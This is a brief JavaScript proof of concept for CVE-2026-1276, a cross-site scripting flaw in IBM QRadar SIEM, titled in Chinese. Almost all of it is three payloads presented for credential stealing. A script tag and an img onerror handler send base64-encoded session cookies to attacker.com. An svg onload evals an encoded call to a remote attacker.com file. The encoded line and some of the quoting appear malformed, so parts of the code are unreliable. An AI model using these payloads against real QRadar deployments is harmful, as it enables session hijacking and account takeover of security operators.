CVE-2026-1276: IBM QRadar SIEM 跨站脚本漏洞

// CVE-2026-1276 PoC - IBM QRadar SIEM XSS // Author: Security Researcher // Target: IBM QRadar SIEM 7.5.0 - 7.5.0 Update Package 14 // Basic XSS Payload for credential stealing var xss_payload = '<script>var cookies=document.cookie;fetch("https://attacker.com/steal?c="+btoa(cookies));</script>'; // Alternative payload using img tag for out-of-band data exfiltration var img_payload = '<img src=x onerror="this.src=\'https://attacker.com/log?data=\'+btoa(document.cookie)">" />'; // DOM-based XSS payload var dom_payload = '<svg onload="eval(atob(\'cmVxdWlyZShodHRwOi8vYXR0YWNrZXIuY29tL2V4cGxvaXQucGhwKTs=\'))">'; console.log('CVE-2026-1276 XSS Payload Examples:'); console.log('1. Basic Script Injection:', xss_payload); console.log('2. Image Tag Bypass:', img_payload); console.log('3. DOM-based XSS:', dom_payload); console.log('\nNote: Requires authenticated access to QRadar Web UI');